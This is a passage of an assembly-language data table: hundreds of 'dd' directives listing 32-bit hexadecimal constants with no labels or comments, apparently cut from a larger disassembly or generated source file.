dd 30EF2D0h, 8AD0F2D0h, 325F2D0h, 425F2D0h, 0D220F8D0h dd 76819D0h, 54419D0h, 9BC8FFD0h, 9CC8FFD0h, 0ACE1AD0h dd 0A001BD0h, 45751CD0h, 0AE81CD0h, 0C221CD0h, 0D221CD0h dd 2C21DD0h, 25803D0h, 75803D0h, 2BD1ED0h, 4BD1ED0h, 73691FD0h dd 0A6B1FD0h, 16D1FD0h, 27B1FD0h, 2801FD0h, 3801FD0h, 28E1FD0h dd 29C1FD0h, 1A01FD0h, 2A01FD0h, 5A31FD0h, 2AE1FD0h, 0FEB01FD0h dd 2B71FD0h, 4D61FD0h, 5FE1FD0h, 7FE1FD0h, 35321FD0h, 2421FD0h dd 645B1FD0h, 3631FD0h, 0ACB21D0h, 0BCB21D0h, 21D21D0h dd 31D21D0h, 24322D0h, 35B22D0h, 2C923D0h, 3C923D0h, 53C04D0h dd 19862CD0h, 19902DD0h, 19922DD0h, 0C2712ED0h, 0B3732D0h dd 2F0033D0h, 510033D0h, 826833D0h, 0CF833D0h, 20833D0h dd 30833D0h, 325B37D0h, 335B37D0h, 0A0039D0h, 0B0039D0h dd 126239D0h, 7C73BD0h, 8C73BD0h, 0AE806D0h, 0CE806D0h dd 0AE906D0h, 3EE06D0h, 6EE06D0h, 6C03DD0h, 0AE33DD0h dd 9A53ED0h, 24F07D0h, 44F07D0h, 0EA0A01D1h, 0A7D01D1h dd 640D01D1h, 0ADD01D1h, 0F4DE01D1h, 0F5DE01D1h, 0F6DE01D1h dd 0F7DE01D1h, 0C41701D1h, 78EB01D1h, 231C01D1h, 2B1C01D1h dd 2E1C01D1h, 323901D1h, 646301D1h, 44C60AD1h, 37220AD1h dd 37420AD1h, 126464D1h, 226464D1h, 1AB64D1h, 0AD7765D1h dd 48265D1h, 58265D1h, 2A465D1h, 0FE1165D1h, 9EC065D1h dd 2C065D1h, 15365D1h, 25365D1h, 22469D1h, 2C871D1h, 3C871D1h dd 829873D1h, 969873D1h, 1A5D73D1h, 26874D1h, 0A5C77D1h dd 6A200CD1h, 87210CD1h, 0B090CD1h, 0E090CD1h, 2027CD1h dd 0CCB7CD1h, 0DCB7CD1h, 1007ED1h, 12007FD1h, 13007FD1h dd 0F3817FD1h, 0F5817FD1h, 40180D1h, 2E080D1h, 2E880D1h dd 38081D1h, 0ABB82D1h, 3F2082D1h, 0C9D883D1h, 0CAD883D1h dd 1EE083D1h, 1FE083D1h, 0F2083D1h, 102083D1h, 0D16083D1h dd 0B6183D1h, 2C085D1h, 0A1585D1h, 0AA186D1h, 26387D1h dd 36387D1h, 99D89D1h, 2E08CD1h, 5E08CD1h, 6E08CD1h, 36B8DD1h dd 46B8DD1h, 8DD8DD1h, 2E48DD1h, 3E48DD1h, 14F88DD1h, 3FC8DD1h dd 4048DD1h, 1308DD1h, 0FA558DD1h, 0FE558DD1h, 2638DD1h dd 0A008FD1h, 50C18FD1h, 1020FD1h, 2020FD1h, 1E8096D1h dd 38196D1h, 28A096D1h, 2AA096D1h, 0A0097D1h, 18197D1h dd 8E8197D1h, 33A097D1h, 34A097D1h, 0AC097D1h, 0AC197D1h dd 3EE097D1h, 3EE897D1h, 52C69AD1h, 56C69AD1h, 35159CD1h dd 0B669DD1h, 2AD310D1h, 200A0D1h, 503A0D1h, 207A0D1h dd 12A0A1D1h, 14A0A1D1h, 1DAFA1D1h, 2CAFA1D1h, 84A0A6D1h dd 24A0A6D1h, 2DA0A6D1h, 2EA0A6D1h, 2C2A6D1h, 3C2A6D1h dd 340A6D1h, 141A6D1h, 0D77A7D1h, 0ABCA7D1h, 12C511D1h dd 2C511D1h, 2D8AAD1h, 3D8AAD1h, 9D8AAD1h, 0E30ABD1h, 1C35ABD1h dd 1D35ABD1h, 0A36ABD1h, 0B36ABD1h, 0A3AABD1h, 0C3AABD1h dd 8309ABD1h, 2C0ACD1h, 16C0ACD1h, 17C0ACD1h, 19C0ACD1h dd 1AC0ACD1h, 2C2ACD1h, 12B3B3D1h, 1EE12D1h, 0BDE6B4D1h dd 0FEE6B4D1h, 531B5D1h, 13FB5D1h, 73FB5D1h, 580B6D1h dd 4DC3B6D1h, 0A20B6D1h, 0C6EB8D1h, 106EB8D1h, 19C0B8D1h dd 4482B9D1h, 0FA2B9D1h, 10A2B9D1h, 260BCD1h, 360BCD1h dd 100BFD1h, 200BFD1h, 376BFD1h, 476BFD1h, 4181BFD1h, 97A2BFD1h dd 48C7BFD1h, 49C7BFD1h, 203C0D1h, 0F51EC1D1h, 0F81EC1D1h dd 704C1D1h, 804C1D1h, 2834C3D1h, 436C4D1h, 140C5D1h, 2857C6D1h dd 14AC9D1h, 0FCC1CAD1h, 0FDC1CAD1h, 8DCCAD1h, 37DDCAD1h dd 0FDE0CAD1h, 0AE4CAD1h, 2DBCBD1h, 0B4B4D1D1h, 0B6B4D1D1h dd 26B4D1D1h, 4B615D1h, 0B5815D1h, 0C5815D1h, 0AC7D3D1h dd 14EDD3D1h, 5EFD3D1h, 118CD5D1h, 0FD8FD5D1h, 7EDFD5D1h dd 20AED7D1h, 0E613D9D1h, 4E0D9D1h, 6E0D9D1h, 4240DAD1h dd 4DD1DBD1h, 0E7816D1h, 62B116D1h, 180DDD1h, 280DDD1h dd 2CDDDD1h, 3CDDDD1h, 0A55DFD1h, 555DFD1h, 1814E0D1h dd 2A08E1D1h, 0ECAFE2D1h, 40FE4D1h, 2B417D1h, 4B417D1h dd 21AEBD1h, 436EBD1h, 8080ECD1h, 8180ECD1h, 51BECD1h dd 32B8EED1h, 33B8EED1h, 3209EED1h, 3309EED1h, 0C92FEFD1h dd 0FC2FEFD1h, 240EFD1h, 1A42EFD1h, 460EFD1h, 760EFD1h dd 299518D1h, 2A9518D1h, 6DD118D1h, 1E0F0D1h, 28E0F0D1h dd 1FEF0D1h, 227CF1D1h, 287CF1D1h, 20DF1D1h, 30DF1D1h dd 0FC84F1D1h, 0FD84F1D1h, 287F1D1h, 218FF1D1h, 293F1D1h dd 393F1D1h, 29BF1D1h, 4B8F1D1h, 5B8F1D1h, 2BBF1D1h, 7BD5F1D1h dd 7ED5F1D1h, 2DAF1D1h, 3DAF1D1h, 79EAF1D1h, 59EAF1D1h dd 0AF0F1D1h, 61AF1D1h, 263F1D1h, 100F4D1h, 200F4D1h, 83C0F4D1h dd 0C3C0F4D1h, 1405F4D1h, 1505F4D1h, 5405F4D1h, 5505F4D1h dd 0AE7BF6D1h, 390FF6D1h, 8800FAD1h, 340FAD1h, 66CFBD1h dd 0A81FBD1h, 881FBD1h, 981FBD1h, 4A7FBD1h, 5A7FBD1h, 6602FBD1h dd 6702FBD1h, 13D0FBD1h, 14D0FBD1h, 1E0FBD1h, 6E0FBD1h dd 221FBD1h, 523FBD1h, 0FC40FBD1h, 260FBD1h, 360FBD1h dd 0AB21AD1h, 9B21AD1h, 0E3B51AD1h, 33341BD1h, 0E9DA03D1h dd 64001ED1h, 9001ED1h, 2B901FD1h, 0A4022D1h, 84022D1h dd 0F08A25D1h, 1D2325D1h, 821D04D1h, 21D04D1h, 14028D1h dd 24028D1h, 63AA29D1h, 64B829D1h, 0D1F29D1h, 424029D1h dd 434029D1h, 444029D1h, 454029D1h, 0A932BD1h, 30932BD1h dd 26B52BD1h, 478C2DD1h, 7C82DD1h, 9C82DD1h, 7C82ED1h dd 7F12ED1h, 13F2ED1h, 63F2ED1h, 0A892FD1h, 1D830D1h, 0A0531D1h dd 662732D1h, 662832D1h, 0A8033D1h, 0F8033D1h, 2A033D1h dd 56A133D1h, 66B433D1h, 0F1F033D1h, 0F2F033D1h, 23033D1h dd 33033D1h, 0A0633D1h, 8B9334D1h, 1AD34D1h, 2C834D1h dd 3C834D1h, 1BA35D1h, 2D735D1h, 2D835D1h, 22A36D1h, 0A6E38D1h dd 26E38D1h, 1CF38D1h, 2A139D1h, 2C03ED1h, 2003FD1h, 15E3FD1h dd 6A843D1h, 6CF43D1h, 0C71543D1h, 0D31543D1h, 0DC3243D1h dd 0F13243D1h, 0FD3243D1h, 0FE3243D1h, 0B0144D1h, 78044D1h dd 2EB4CD1h, 2954DD1h, 24D4ED1h, 0ABE4FD1h, 0FBE4FD1h dd 0A4308D1h, 10951D1h, 320951D1h, 826051D1h, 316051D1h dd 0B6452D1h, 0C6452D1h, 0A7F52D1h, 19053D1h, 23A253D1h dd 6DA054D1h, 6EA054D1h, 71A054D1h, 1B154D1h, 65B654D1h dd 67B654D1h, 6FB654D1h, 70B654D1h, 0BFD54D1h, 0CFD54D1h dd 62754D1h, 0A5454D1h, 0B5454D1h, 0FE6154D1h, 20155D1h dd 464057D1h, 0E84F57D1h, 0A805BD1h, 2C45BD1h, 6C45BD1h dd 0A285ED1h, 9285ED1h, 0A3D61D1h, 16262D1h, 0D8065D2h dd 38F65D2h, 29165D2h, 65A065D2h, 2B665D2h, 5C065D2h, 3C165D2h dd 1D066D2h, 2D766D2h, 257D73D2h, 357D73D2h, 7C073D2h dd 1FE74D2h, 644175D2h, 24175D2h, 3E0079D2h, 656F79D2h dd 0D207BD2h, 2D0182D2h, 2E0182D2h, 2F0182D2h, 0E20A83D2h dd 10C83D2h, 20C83D2h, 0FDB183D2h, 2CA83D2h, 2D083D2h dd 1D383D2h, 2EC83D2h, 820783D2h, 30883D2h, 20983D2h, 815B84D2h dd 825B84D2h, 3D586D2h, 82B687D2h, 2B687D2h, 396B88D2h dd 1F58AD2h, 0C3278AD2h, 0C4278AD2h, 410A8DD2h, 0C26C8DD2h dd 0E26C8DD2h, 0E76C8DD2h, 0A808DD2h, 0D808DD2h, 2FE08DD2h dd 30E08DD2h, 2E58DD2h, 1E88DD2h, 1EA8DD2h, 1F48DD2h, 7F48DD2h dd 0EFB8DD2h, 1BFD8DD2h, 0AFE8DD2h, 12C8DD2h, 22E8DD2h dd 1F438DD2h, 21458DD2h, 29458DD2h, 164D8DD2h, 82098DD2h dd 83098DD2h, 6408FD2h, 0A1418FD2h, 0A3418FD2h, 629C91D2h dd 21291D2h, 351291D2h, 26FE91D2h, 6E0891D2h, 14292D2h dd 0D1F093D2h, 10095D2h, 420895D2h, 213C96D2h, 223C96D2h dd 0A0A97D2h, 26497D2h, 36597D2h, 46597D2h, 26697D2h, 16997D2h dd 16A97D2h, 486A97D2h, 346C97D2h, 26D97D2h, 790B97D2h dd 0E47297D2h, 0E57297D2h, 17497D2h, 0D97897D2h, 17D97D2h dd 27E97D2h, 418097D2h, 428097D2h, 0E1A397D2h, 3AE97D2h dd 11897D2h, 101897D2h, 0FD1D97D2h, 11E97D2h, 22097D2h dd 22397D2h, 12897D2h, 12A97D2h, 13297D2h, 23297D2h, 23397D2h dd 0A3B97D2h, 0B3B97D2h, 54097D2h, 64097D2h, 0B4497D2h dd 44897D2h, 0A4997D2h, 14C97D2h, 0C15797D2h, 0C25797D2h dd 0B5897D2h, 0C5897D2h, 15F97D2h, 226097D2h, 0C22E9AD2h dd 6809BD2h, 6949BD2h, 7E09DD2h, 11009ED2h, 7C39ED2h, 82189ED2h dd 83189ED2h, 2409ED2h, 22019FD2h, 32019FD2h, 32E9FD2h dd 0E2099FD2h, 6595A0D2h, 2226A0D2h, 2626A0D2h, 0A26AA1D2h dd 682A1D2h, 0A84A1D2h, 390A1D2h, 394A1D2h, 810FA1D2h dd 196A1D2h, 6398A1D2h, 399A1D2h, 19BA1D2h, 0A10A1D2h dd 0B10A1D2h, 0AA0A1D2h, 0CA0A1D2h, 5A8A1D2h, 2A9A1D2h dd 0BABA1D2h, 1ACA1D2h, 1AFA1D2h, 7B1A1D2h, 8B1A1D2h, 15B3A1D2h dd 212A1D2h, 213A1D2h, 102A1D2h, 5002A1D2h, 52E5A1D2h dd 417A1D2h, 517A1D2h, 11BA1D2h, 2123A1D2h, 227A1D2h, 204A1D2h dd 228A1D2h, 0C92BA1D2h, 152CA1D2h, 0A2DA1D2h, 152EA1D2h dd 0A2FA1D2h, 1530A1D2h, 1433A1D2h, 0A34A1D2h, 536A1D2h dd 138A1D2h, 238A1D2h, 2200A2D2h, 0AB6A2D2h, 0C216A2D2h dd 8249A4D2h, 691A6D2h, 2B0A6D2h, 0E1E7A6D2h, 8220A6D2h dd 0C220A6D2h, 4620A7D2h, 4820A7D2h, 2DEA8D2h, 84AAA9D2h dd 8235A9D2h, 7B56A9D2h, 10111D2h, 269AAD2h, 2100ABD2h dd 2200ABD2h, 164ABD2h, 0F66CABD2h, 0B6EABD2h, 277ABD2h dd 1D80ABD2h, 380ABD2h, 1E80ABD2h, 185ABD2h, 510ABD2h dd 3A0ABD2h, 2C0ABD2h, 2C2ABD2h, 2C9ABD2h, 66E1ABD2h, 46E1ABD2h dd 317ABD2h, 242ABD2h, 7040ACD2h, 247ADD2h, 1BFAED2h, 3C0AFD2h dd 0A232AFD2h, 0A332AFD2h, 4562B4D2h, 4AFBCD2h, 110BDD2h dd 15D3BDD2h, 3D3BDD2h, 600BFD2h, 9764BFD2h, 9864BFD2h dd 26CBFD2h, 16EBFD2h, 0FC78BFD2h, 650EBFD2h, 20EBFD2h dd 112BFD2h, 113BFD2h, 2C2BFD2h, 82C5BFD2h, 2C5BFD2h, 114BFD2h dd 0ACDBFD2h, 216BFD2h, 0A17BFD2h, 218BFD2h, 11CBFD2h dd 31CBFD2h, 0C907BFD2h, 147BFD2h, 247BFD2h, 248BFD2h dd 149BFD2h, 2A4BBFD2h, 24DBFD2h, 34EBFD2h, 8208BFD2h dd 350BFD2h, 151BFD2h, 152BFD2h, 253BFD2h, 355BFD2h, 160BFD2h dd 1448C5D2h, 1548C5D2h, 62DFC7D2h, 11FC9D2h, 101D7D2h dd 102D7D2h, 180DDD2h, 280DDD2h, 0D285E0D2h, 0DB85E0D2h dd 521EE1D2h, 0E29AE2D2h, 0DA06E2D2h, 0FE78E4D2h, 19FE4D2h dd 0AA0E4D2h, 0BA0E4D2h, 0CA0E5D2h, 0DA0E5D2h, 52A8E5D2h dd 140E5D2h, 240E5D2h, 1FDE6D2h, 8564E7D2h, 564E7D2h, 0CB68E7D2h dd 8269E7D2h, 16CE7D2h, 26CE7D2h, 0FC6EE7D2h, 0A70E7D2h dd 0B70E7D2h, 271E7D2h, 181E7D2h, 0C8AAE7D2h, 82DCE7D2h dd 25CE7D2h, 0C961E7D2h, 923EBD2h, 0A09EED2h, 197F0D2h dd 0C9C0F1D2h, 0CAC0F1D2h, 55EEF1D2h, 147F1D2h, 2149F1D2h dd 0C84BF1D2h, 14FF1D2h, 7DE5F3D2h, 0A8BF4D2h, 0F284F8D2h dd 2A8F8D2h, 32C0FAD2h, 421FFAD2h, 26FFBD2h, 12A0FBD2h dd 82C0FBD2h, 84C0FBD2h, 424DFBD2h, 0A50FBD2h, 255FBD2h dd 1A25FDD2h, 0A2BFDD2h, 0B2BFDD2h, 8230FDD2h, 8330FDD2h dd 24BFED2h, 0A001FD2h, 4641FD2h, 6681FD2h, 7681FD2h, 0A781FD2h dd 0D781FD2h, 1801FD2h, 8A01FD2h, 4C71FD2h, 8D01FD2h, 8201FD2h dd 423D1FD2h, 4601FD2h, 5601FD2h, 331033D2h, 341033D2h dd 29534D2h, 2CF34D2h, 7AD434D2h, 21F35D2h, 0EC6937D2h dd 0BE43BD2h, 2E53BD2h, 0FD653DD2h, 1693DD2h, 16E3DD2h dd 2723DD2h, 6733DD2h, 17E3DD2h, 1823DD2h, 1833DD2h, 1873DD2h dd 1883DD2h, 0F1893DD2h, 228F3DD2h, 2953DD2h, 0FD9F3DD2h dd 1A43DD2h, 1A63DD2h, 2B23DD2h, 2B63DD2h, 1BA3DD2h, 1BC3DD2h dd 1D03DD2h, 1D13DD2h, 0E2D73DD2h, 6FE43DD2h, 0FDE83DD2h dd 0AEA3DD2h, 1F63DD2h, 2F63DD2h, 0B253DD2h, 1313DD2h dd 19493DD2h, 1523DD2h, 0A553DD2h, 1583DD2h, 15C3FD2h dd 25C3FD2h, 8B3740D2h, 909242D2h, 24545D2h, 14945D2h dd 16647D2h, 46647D2h, 16D47D2h, 17047D2h, 17647D2h, 17A47D2h dd 1AA47D2h, 1B047D2h, 0FAB347D2h, 82DA47D2h, 0FCDD47D2h dd 31847D2h, 1F047D2h, 8F147D2h, 9F147D2h, 12647D2h, 3C0447D2h dd 0A22C47D2h, 13047D2h, 13547D2h, 13847D2h, 13E47D2h dd 34047D2h, 14747D2h, 24947D2h, 14A47D2h, 14D47D2h, 34D47D2h dd 14E47D2h, 24E47D2h, 0FC5047D2h, 0FD5B47D2h, 0FD6347D2h dd 12C08D2h, 623A50D2h, 13C50D2h, 23C50D2h, 813E50D2h dd 913E50D2h, 0C7051D2h, 59D51D2h, 261251D2h, 121851D2h dd 215751D2h, 0A34A09D2h, 7005ED2h, 58E062D2h, 59E062D2h dd 26501D3h, 716701D3h, 16C01D3h, 27101D3h, 27201D3h, 27401D3h dd 27501D3h, 27601D3h, 37601D3h, 667C01D3h, 677C01D3h dd 29001D3h, 29301D3h, 39301D3h, 29401D3h, 39401D3h, 29501D3h dd 3A001D3h, 4A001D3h, 61C001D3h, 62C001D3h, 0ACB01D3h dd 0DCB01D3h, 12801D3h, 82801D3h, 44A20AD3h, 2AFD0AD3h dd 0B11A0AD3h, 0C920BD3h, 1600BD3h, 0CCD06FD3h, 0CFD06FD3h dd 10E72D3h, 0E7DE73D3h, 24E078D3h, 0A9007CD3h, 0C3007CD3h dd 82F87ED3h, 636080D3h, 29DF85D3h, 1AF0FD3h, 623A0FD3h dd 86ACABD3h, 2DAC2D3h, 17815D3h, 3ABC15D3h, 0EC0815D3h dd 9632D8D3h, 0A032D8D3h, 213516D3h, 833417D3h, 36DECD3h dd 0B2BFED3h, 1C024D3h, 2C024D3h, 210429D3h, 220429D3h dd 1802FD3h, 2802FD3h, 172D2FD3h, 0D90105D3h, 0C3ED3DD3h dd 332B3FD3h, 22A047D3h, 23A047D3h, 0BCBC47D3h, 19151D3h dd 59151D3h, 0C89951D3h, 21051D3h, 31051D3h, 3D851D3h dd 1E051D3h, 37801D4h, 0FC7A01D4h, 27C01D4h, 288001D4h dd 2A8001D4h, 0A0065D4h, 46C065D4h, 47C065D4h, 332065D4h dd 332765D4h, 0FD0465D4h, 2C169D4h, 4BC86CD4h, 0A2226DD4h dd 1A800BD4h, 0C85F0BD4h, 22C06FD4h, 23C06FD4h, 26206FD4h dd 28306FD4h, 29306FD4h, 0AA336FD4h, 84406FD4h, 0F34C6FD4h dd 10071D4h, 20071D4h, 0A4671D4h, 0C1C073D4h, 0C3C073D4h dd 0CC4278D4h, 0C20079D4h, 0DB0079D4h, 18079D4h, 28079D4h dd 58279D4h, 1C079D4h, 22C079D4h, 22479D4h, 2017AD4h, 0A807AD4h dd 0A817AD4h, 64647BD4h, 64607BD4h, 29C87ED4h, 40081D4h dd 29B83D4h, 39B83D4h, 2A083D4h, 6A883D4h, 7A883D4h, 2A1E83D4h dd 2B1E83D4h, 3808BD4h, 82818BD4h, 2410ED4h, 0FDF68CD4h dd 0FEF68CD4h, 1988DD4h, 4A88DD4h, 50BE8DD4h, 51BE8DD4h dd 7DB8DD4h, 0FEE88DD4h, 21F8DD4h, 13D8DD4h, 0C548DD4h dd 421C8ED4h, 610491D4h, 620491D4h, 0A0092D4h, 0B0092D4h dd 26F9BD4h, 1A89BD4h, 61C39BD4h, 14049CD4h, 4049CD4h dd 8C09FD4h, 9C09FD4h, 6600A4D4h, 22011D4h, 236B5D4h, 336B5D4h dd 423FB6D4h, 13B9B9D4h, 2208BCD4h, 28A1BFD4h, 5A5BFD4h dd 2A8BFD4h, 22C0BFD4h, 6C8BFD4h, 221BFD4h, 0A40BFD4h dd 241BFD4h, 243BFD4h, 0A46BFD4h, 346BFD4h, 447BFD4h, 4201C6D4h dd 7E0014D4h, 0FE9E14D4h, 0FE9F14D4h, 4612C9D4h, 4712C9D4h dd 1118C9D4h, 1B9D0D4h, 1DAD0D4h, 0C9DED0D4h, 0CADED0D4h dd 1E5D0D4h, 117D0D4h, 20015D4h, 90015D4h, 837915D4h, 857915D4h dd 40A115D4h, 11A215D4h, 3E015D4h, 4E015D4h, 224015D4h dd 24115D4h, 300DAD4h, 340DAD4h, 0C839DBD4h, 105DFD4h dd 1E2E2D4h, 258E9D4h, 0F1EBEAD4h, 0DD4ECD4h, 0ED4ECD4h dd 228F2D4h, 3228F2D4h, 429EF5D4h, 2FFF5D4h, 9D11F9D4h dd 9E11F9D4h, 377FCD4h, 477FCD4h, 2E01FD4h, 3E01FD4h, 3F41FD4h dd 0A0FD1FD4h, 64561FD4h, 64581FD4h, 0A02021D4h, 53721D4h dd 2FA22D4h, 8FA22D4h, 0A0028D4h, 320528D4h, 0E40229D4h dd 6D029D4h, 7D029D4h, 8D029D4h, 10429D4h, 420429D4h, 214029D4h dd 214429D4h, 2F22AD4h, 0BAC2DD4h, 462C30D4h, 418031D4h dd 428031D4h, 0E4205D4h, 0A0032D4h, 0F0032D4h, 410033D4h dd 440033D4h, 1A033D4h, 2A033D4h, 2C033D4h, 5C033D4h, 0F2C833D4h dd 43CF33D4h, 6A2133D4h, 80F3DD4h, 0E2193DD4h, 21A3DD4h dd 221A3DD4h, 0FA0A3FD4h, 0FA0B3FD4h, 0D4803FD4h, 6C141D4h dd 0D2F241D4h, 282043D4h, 412043D4h, 0A28007D4h, 20047D4h dd 30047D4h, 0C8047D4h, 88047D4h, 98047D4h, 68547D4h, 229C47D4h dd 0C4047D4h, 0D4047D4h, 834453D4h, 3BC056D4h, 0CC156D4h dd 0C4057D4h, 0B5757D4h, 20059D4h, 50059D4h, 3C05BD4h dd 22E75BD4h, 5205BD4h, 6205BD4h, 3615BD4h, 4615BD4h, 458161D4h dd 0FD660BD5h, 0D26F0BD5h, 1750BD5h, 2750BD5h, 17B0BD5h dd 0A890BD5h, 18E0BD5h, 0B4950BD5h, 0B5950BD5h, 0C9A00BD5h dd 1AC0BD5h, 2C280D5h, 222083D5h, 232083D5h, 24083D5h dd 34083D5h, 47C08DD5h, 2C48DD5h, 0E1198DD5h, 0E2198DD5h dd 240B2D5h, 8180B5D5h, 100B7D5h, 0C23CC2D5h, 0E23CC2D5h dd 28D15D5h, 2A415D5h, 143D7D5h, 33EDBD5h, 121EBD5h, 1A919D5h dd 25024D5h, 45024D5h, 7F8228D5h, 1C028D5h, 7F4228D5h dd 618133D5h, 0A14C39D5h, 0A14D39D5h, 0BEE3BD5h, 26A3DD5h dd 2633DD5h, 82044AD5h, 83044AD5h, 10057D5h, 10157D5h dd 81025BD5h, 81055BD5h, 1B6603D6h, 13203D6h, 0A6B00D8h dd 146B00D8h, 0A9800D8h, 53B701D8h, 2C001D8h, 4C001D8h dd 25A01D8h, 96064D8h, 337765D8h, 347765D8h, 0ACA65D8h dd 2D665D8h, 2F365D8h, 821E65D8h, 851E65D8h, 0FD2B65D8h dd 35065D8h, 25365D8h, 0F95F65D8h, 28067D8h, 0A6068D8h dd 0B6068D8h, 33A869D8h, 5CE69D8h, 17006BD8h, 3006BD8h dd 16800BD8h, 4D00BD8h, 325C0BD8h, 0C78D6FD8h, 2B26FD8h dd 3B26FD8h, 3B46FD8h, 2B86FD8h, 3B86FD8h, 0FCA6FD8h, 0D9416FD8h dd 0FC072D8h, 0A8073D8h, 218073D8h, 0A5373D8h, 0C5373D8h dd 26074D8h, 36074D8h, 0A000CD8h, 14000CD8h, 17300CD8h dd 42E079D8h, 0A2079D8h, 0CD2079D8h, 1A6079D8h, 29807ED8h dd 0FB887ED8h, 1BDA7FD8h, 1EDA7FD8h, 20C181D8h, 21C181D8h dd 51E81D8h, 81E81D8h, 23081D8h, 535A81D8h, 0A000DD8h dd 2880DD8h, 64190DD8h, 3200DD8h, 4200DD8h, 2340DD8h, 3340DD8h dd 5060DD8h, 2090DD8h, 3090DD8h, 0C0083D8h, 0C0483D8h dd 145F83D8h, 0CDBA84D8h, 0CF985D8h, 0E29E87D8h, 0E39E87D8h dd 88C088D8h, 135F88D8h, 35F88D8h, 535F88D8h, 95CA8BD8h dd 0A5D58BD8h, 2ADC8BD8h, 0A0A0ED8h, 0C0A0ED8h, 148C8CD8h dd 158C8CD8h, 0B8D8CD8h, 0FC108CD8h, 0FE108CD8h, 0FC118CD8h dd 0FE118CD8h, 1C7B8DD8h, 0A988DD8h, 42BC8DD8h, 1BE8DD8h dd 11BE8DD8h, 2188DD8h, 3188DD8h, 26278DD8h, 27278DD8h dd 96048DD8h, 0A0048DD8h, 0A058DD8h, 7058DD8h, 6F418DD8h dd 2078DD8h, 0FE078DD8h, 1088DD8h, 2088DD8h, 3508FD8h dd 41B891D8h, 42B891D8h, 24191D8h, 34191D8h, 34692D8h dd 44692D8h, 1DE294D8h, 4E1297D8h, 1C097D8h, 0A81A98D8h dd 9D2298D8h, 2029CD8h, 3029CD8h, 0D14C9FD8h, 2206A0D8h dd 2207A0D8h, 17CA1D8h, 27CA1D8h, 37CA1D8h, 18DA1D8h, 220A1D8h dd 222A1D8h, 422A1D8h, 224A1D8h, 3C38A1D8h, 14BA1D8h, 24BA1D8h dd 1378A3D8h, 1578A3D8h, 0CEE0A8D8h, 0CFE0A8D8h, 0A2EA8D8h dd 240A8D8h, 0CE8B11D8h, 2E4AAD8h, 0BA7ABD8h, 0CA7ABD8h dd 53C0ABD8h, 54C1ABD8h, 2C8ACD8h, 0A11AFD8h, 725CB2D8h dd 625CB2D8h, 50EFB3D8h, 67AB4D8h, 0AC0B4D8h, 663B4D8h dd 201B5D8h, 202B5D8h, 1A27B5D8h, 251B5D8h, 0E601B6D8h dd 0E701B6D8h, 0C277B7D8h, 0C377B7D8h, 25FB8D8h, 35FB8D8h dd 0B604BAD8h, 0CA04BAD8h, 56EBBD8h, 56FBBD8h, 28CBED8h dd 0B93BFD8h, 2A5BFD8h, 3A5BFD8h, 1ABBFD8h, 2ABBFD8h, 5B7BFD8h dd 2F0BFD8h, 6536BFD8h, 8C0C2D8h, 5A002D8h, 111C14D8h dd 913F14D8h, 933F14D8h, 56214D8h, 4091C8D8h, 8CCEC8D8h dd 644C8D8h, 2160C9D8h, 2260C9D8h, 0EC1CAD8h, 2100CCD8h dd 2300CCD8h, 289CDD8h, 389CDD8h, 1954CFD8h, 0FE5ACFD8h dd 0A2B1D0D8h, 8226D0D8h, 4260D0D8h, 18015D8h, 18115D8h dd 120615D8h, 0F4015D8h, 104015D8h, 114015D8h, 5A0D3D8h dd 2C0D3D8h, 6C0D3D8h, 6B00D5D8h, 6C00D5D8h, 8324D5D8h dd 3381D9D8h, 3481D9D8h, 282DAD8h, 3A82DAD8h, 283DAD8h dd 0D3FDDBD8h, 0AFEDBD8h, 6FA2DDD8h, 51A2DDD8h, 96CDDDD8h dd 5D2DDD8h, 83F0DDD8h, 85F0DDD8h, 260DDD8h, 0DC60DDD8h dd 1540E2D8h, 6400E3D8h, 3270E3D8h, 1438E3D8h, 6A0E4D8h dd 7A0E4D8h, 9300E7D8h, 0E6FE7D8h, 280E7D8h, 480E7D8h dd 0AA0E7D8h, 2A0E7D8h, 1329E7D8h, 1629E7D8h, 4E7EAD8h dd 1FEAEAD8h, 0C9E3ECD8h, 0A00EED8h, 0B00EED8h, 1100EED8h dd 3462EED8h, 3562EED8h, 9A40EFD8h, 9B40EFD8h, 26AF0D8h dd 46AF0D8h, 480F0D8h, 212AF0D8h, 6206F0D8h, 8500F1D8h dd 9700F1D8h, 284F1D8h, 384F1D8h, 4A1F1D8h, 5A1F1D8h, 0A40F1D8h dd 0B40F1D8h, 200F2D8h, 300F2D8h, 64C0F9D8h, 164FBD8h dd 264FBD8h, 180FBD8h, 280FBD8h, 0C8E1FBD8h, 0C9E1FBD8h dd 6420FBD8h, 6520FBD8h, 0B40FBD8h, 0C40FBD8h, 900FED8h dd 0A5B5FED8h, 446C1AD8h, 456C1AD8h, 1801AD8h, 1811AD8h dd 157820D8h, 967E20D8h, 0A4A20D8h, 466C21D8h, 685721D8h dd 695721D8h, 64025D8h, 74025D8h, 26026D8h, 36026D8h, 8C227D8h dd 9C227D8h, 0F6529D8h, 116529D8h, 0C88029D8h, 498029D8h dd 1A029D8h, 2A029D8h, 0DC029D8h, 0EC029D8h, 2E029D8h dd 10142CD8h, 64602ED8h, 65602ED8h, 0B802FD8h, 0AFD605D8h dd 3D605D8h, 10134D8h, 210134D8h, 221334D8h, 24037D8h dd 25037D8h, 28039D8h, 18239D8h, 4983AD8h, 6983AD8h, 0C4A63CD8h dd 1C53CD8h, 0C8C53CD8h, 2823DD8h, 48E3DD8h, 58E3DD8h dd 0FC8F3DD8h, 0FD8F3DD8h, 1903DD8h, 1A43DD8h, 2B83DD8h dd 64C03DD8h, 2DA3DD8h, 3DA3DD8h, 5DB3DD8h, 5173DD8h, 22C3DD8h dd 0A3441D8h, 33441D8h, 640144D8h, 640244D8h, 143F44D8h dd 4BA007D8h, 11554DD8h, 16554DD8h, 67F4FD8h, 2904FD8h dd 0FE994FD8h, 2464FD8h, 0C88051D8h, 0C98051D8h, 436051D8h dd 446051D8h, 0D0052D8h, 0F0052D8h, 80052D8h, 0FAA053D8h dd 0FAA153D8h, 3D555D8h, 3DA056D8h, 3EA056D8h, 5E556D8h dd 214056D8h, 224056D8h, 0C50057D8h, 0C4057D8h, 27059D8h dd 4DF59D8h, 2E259D8h, 3E259D8h, 1305AD8h, 2305AD8h, 27F5BD8h dd 37F5BD8h, 5915BD8h, 0E9C5BD8h, 0B105BD8h, 0C105BD8h dd 0BAC5BD8h, 0CAC5BD8h, 0E7AE5BD8h, 0E8AE5BD8h, 1C05BD8h dd 2C05BD8h, 2025BD8h, 0A1B5BD8h, 1C385BD8h, 1D385BD8h dd 2525BD8h, 0F8575BD8h, 0F9575BD8h, 3F95FD8h, 4F95FD8h dd 0AB462D8h, 0BB462D8h, 0C4062D8h, 